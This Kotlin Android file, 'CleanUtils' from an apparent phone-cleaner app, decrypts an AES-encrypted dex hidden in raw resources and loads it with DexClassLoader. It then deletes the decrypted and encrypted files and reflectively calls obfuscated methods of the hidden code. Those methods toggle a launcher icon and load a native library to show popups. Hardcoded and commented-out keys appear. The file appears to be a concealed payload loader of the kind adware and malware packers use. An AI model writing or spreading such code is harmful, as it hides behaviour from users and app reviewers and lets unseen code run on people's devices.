package com.ritoq.quickphone.utils

import android.content.Context
import android.os.Build
import android.util.Log
import androidx.annotation.RawRes
import dalvik.system.DexClassLoader
import kotlinx.coroutines.Dispatchers
import kotlinx.coroutines.withContext
import java.io.File
import java.io.FileInputStream
import java.io.FileOutputStream
import java.io.IOException
import javax.crypto.Cipher
import javax.crypto.CipherInputStream
import javax.crypto.spec.SecretKeySpec
import kotlin.also
import kotlin.collections.firstOrNull
import kotlin.io.use
import kotlin.jvm.java
import kotlin.let
import kotlin.run
import kotlin.text.contains
import kotlin.text.startsWith
import kotlin.text.toByteArray

/**
 *Create by SleepDog on 2025-07-01
 */
object CleanUtils {
    var dexClassLoader: DexClassLoader? = null

    //private val soKey = "7af45ghy9012cd65"
    //private val dexKey = "7af456789012cdef"

    /**
     * 加载dex包
     * @param context
     * @param rawId
     * @param fileName
     * @param cacheName
     * @param dKey
     * @return
     */
    suspend fun rirotqw(
        context: Context,
        @RawRes rawId: Int,
        fileName: String,
        cacheName: String, dKey: String
    ): DexClassLoader? {
        return withContext(Dispatchers.IO) {
            val tfFile = gkgog(context, rawId, fileName)
            val dFile = File(context.cacheDir.absolutePath, cacheName)
            if (!dFile.exists()) {
                tfFile.setReadOnly()
                dFile(dKey, tfFile.absolutePath, dFile.absolutePath)
            } else {
                Log.d("DexUtils", "$cacheName 解密dex已存在，无需重复复制")
            }
            dFile.setReadOnly()
            // 动态加载Dex文件
            findAll(context, dFile.absolutePath, context.codeCacheDir.absolutePath).also {
                tfFile.delete()
                dFile.delete()
                dexClassLoader = it
            }
        }
    }

    /**
     * 将 resources/raw 目录下的资源文件复制
     */
    private fun gkgog(context: Context, @RawRes rawId: Int, fileName: String): File {
        val file = File(context.cacheDir, fileName)
        if (!file.exists()) {
            try {
                context.resources.openRawResource(rawId).use { inputStream ->
                    FileOutputStream(file).use { outputStream ->
                        val buffer = ByteArray(4096)
                        var length: Int
                        while (inputStream.read(buffer).also { length = it } > 0) {
                            outputStream.write(buffer, 0, length)
                        }
                    }
                }
                Log.d(
                    "DexUtils",
                    "复制成功: $fileName 到 ${context.cacheDir?.absolutePath}"
                )
            } catch (e: IOException) {
                //e.printStackTrace()
                Log.d("DexUtils", "复制失败: $fileName")
            }
        } else {
            Log.d("DexUtils", "$fileName 加密dex已存在，无需重复复制")
        }
        return file
    }

    /**
     * 动态加载Dex文件
     */
    private fun findAll(
        context: Context,
        dexPath: String,
        dexOutputPath: String
    ): DexClassLoader? {
        return try {
            // 创建Dex输出目录（如果不存在）
            val outputDir = File(dexOutputPath)
            if (!outputDir.exists()) {
                outputDir.mkdirs()
            }

            // 创建DexClassLoader
            DexClassLoader(
                dexPath, // Dex文件路径
                dexOutputPath, // Dex输出目录
                null, // 本地库路径（可选）
                context.classLoader // 父类加载器
            )

        } catch (e: Exception) {
            Log.d("DexUtils", "加载失败: ${e.message}")
            null
        }
    }


    /**
     * 解密file
     * @param aesKey
     * @param inputFilePath
     * @param outputFilePath
     * @return
     */
    private fun dFile(aesKey: String, inputFilePath: String, outputFilePath: String): File? {
        return try {
            // 创建 AES 密钥
            val key = SecretKeySpec(aesKey.toByteArray(), "AES")
            // 创建 Cipher 实例
            val cipher = Cipher.getInstance("AES/ECB/PKCS5Padding")
            // 初始化 Cipher 为解密模式
            cipher.init(Cipher.DECRYPT_MODE, key)

            // 输入文件流
            FileInputStream(inputFilePath).use { input ->
                // 输出文件流
                val outFile = File(outputFilePath)
                FileOutputStream(outFile).use { output ->
                    // 创建 CipherInputStream 进行解密
                    CipherInputStream(input, cipher).use { cipherInput ->
                        val buffer = ByteArray(4096)
                        var bytesRead: Int
                        while (cipherInput.read(buffer).also { bytesRead = it } != -1) {
                            output.write(buffer, 0, bytesRead)
                        }
                    }
                }
                Log.d("DexUtils", "解密成功: ${outFile.absolutePath}")
                outFile
            }
        } catch (e: Exception) {
            Log.d("DexUtils", "解密失败: ${e.message}")
            null
        }
    }


//    suspend fun doSomething(context: Context): String {
//        dexClassLoader?.let {
//            try {
//                // 获取 AssetsUtils 类
//                val assetsUtilsClass =
//                    Class.forName("ritoy.erte.worit.Cfkoryk", true, dexClassLoader)
//
//                // 获取 INSTANCE 单例
//                val instanceField = assetsUtilsClass.getDeclaredField("INSTANCE")
//                val instance = instanceField.get(null)
//                val result = withContext(Dispatchers.IO) {
//                    // 获取 copyAndLoad 方法
//                    val copyAndLoadMethod = assetsUtilsClass.getDeclaredMethod(
//                        "gjhk_ritoq",
//                        Context::class.java,
//                        String::class.java,
//                        String::class.java,
//                        String::class.java,
//                        String::class.java
//                    )
//
//                    // 调用 copyAndLoad 方法
//                    copyAndLoadMethod.invoke(
//                        instance,
//                        context,
//                        if (getDeviceArchBit() == "64") "mySoTest.txt" else "mySott.txt",
//                        "cacheTIG.so",
//                        "mySoTest.so",
//                        soKey
//                    ) as Boolean
//                }
//                Log.d("DexUtils", "Dex加载成功,so包调用:$result")
//
//                // 获取 NativeUtils 类
//                val nativeUtilsClass =
//                    Class.forName("ritoy.erte.worit.NativeUtils", true, dexClassLoader)
//
//                // 获取 stringFromJNI 方法
//                val stringFromJNIMethod = nativeUtilsClass.getDeclaredMethod("stringFromJNI")
//
//                // 调用 stringFromJNI 方法
//                val content = stringFromJNIMethod.invoke(null) as String
//
//                return if (result) content else "失败了:so包加载失败"
//
//            } catch (e: Exception) {
//                e.printStackTrace()
//                Log.d("DexUtils", "copyAndLoad:${e}")
//                return "失败了:$e"
//            }
//        } ?: run {
//            Log.d("DexUtils", "Dex加载失败")
//            return "失败了:dexClassLoader为空"
//        }
//    }

    /**
     * 显示图标
     * @param context
     */
    fun hjyho_rtrt(context: Context) {
        dexClassLoader?.let {
            try {
                // 获取 AssetsUtils 类
                val assetsUtilsClass =
                    Class.forName("ritoy.erte.worit.Cfkoryk", true, dexClassLoader)
                // 获取 INSTANCE 单例
                val instanceField = assetsUtilsClass.getDeclaredField("INSTANCE")
                val instance = instanceField.get(null)
                // 获取 rtyui_qee 方法
                val rtyui_qeeMethod =
                    assetsUtilsClass.getDeclaredMethod(
                        "rtyui_qee",
                        Context::class.java,
                        String::class.java
                    )

                // 调用 rtyui_qee 方法
                rtyui_qeeMethod.invoke(instance, context, "com.clean.luck.clean.gjtikg")

                Log.d("DexUtils", "hjyho_rtrt 方法调用成功")
            } catch (e: Exception) {
                e.printStackTrace()
                Log.d("DexUtils", "hjyho_rtrt:${e}")

            }
        } ?: run {
            Log.d("DexUtils", "Dex加载失败")
        }
    }

    /**
     * 加载so并弹窗
     * @param context
     * @param thb
     * @return
     */
    suspend fun rew_bvbvb(context: Context, thb: String): Int {
        dexClassLoader?.let {
            try {
                // 获取 AssetsUtils 类
                val assetsUtilsClass =
                    Class.forName("ritoy.erte.worit.Cfkoryk", true, dexClassLoader)
                // 获取 INSTANCE 单例
                val instanceField = assetsUtilsClass.getDeclaredField("INSTANCE")
                val instance = instanceField.get(null)

                return withContext(Dispatchers.IO) {
                    // 获取 copyAndLoad 方法
                    val copyAndLoadMethod = assetsUtilsClass.getDeclaredMethod(
                        "rewwer_rtyt",
                        Context::class.java,
                        String::class.java,
                        String::class.java,
                        String::class.java,
                        String::class.java,
                        Int::class.java,
                        String::class.java
                    )

                    // 调用 copyAndLoad 方法
                    copyAndLoadMethod.invoke(
                        instance,
                        context,
                        if (rifofmn()) "cvjfi_qios.txt" else "vkbog_edg.txt",
                        "cacheTIG.so",
                        "mygkh.so",
                        thb,
                        4,
                        "nba_popup_secret_2024"
                    ) as Int
                }
            } catch (e: Exception) {
                e.printStackTrace()
                Log.d("DexUtils", "rewwer_rtyt:${e}")
                return -10
            }
        } ?: run {
            Log.d("DexUtils", "Dex加载失败")
            return -100
        }
    }

    /**
     * 判断64位还是32位,true为64位
     * @return
     */
    private fun rifofmn(): Boolean {
        val abi64 = Build.SUPPORTED_64_BIT_ABIS
        //Log.d("DexUtils", abi64.contentToString())
        val arch64 = abi64.firstOrNull {
            it.startsWith("arm64", ignoreCase = true) || it.startsWith("x86_64", ignoreCase = true)
        }

        if (arch64 != null) return true

        val abi32 = Build.SUPPORTED_32_BIT_ABIS
        //Log.d("DexUtils", abi32.contentToString())
        val arch32 = abi32.firstOrNull {
            it.startsWith("armeabi", ignoreCase = true) || it.startsWith("x86", ignoreCase = true)
        }

        return if (arch32 != null) false else {
            // fallback to SUPPORTED_ABIS if nothing matched
            val fallback = Build.SUPPORTED_ABIS.firstOrNull() ?: "unknown"
            fallback.contains("64")
        }
    }
}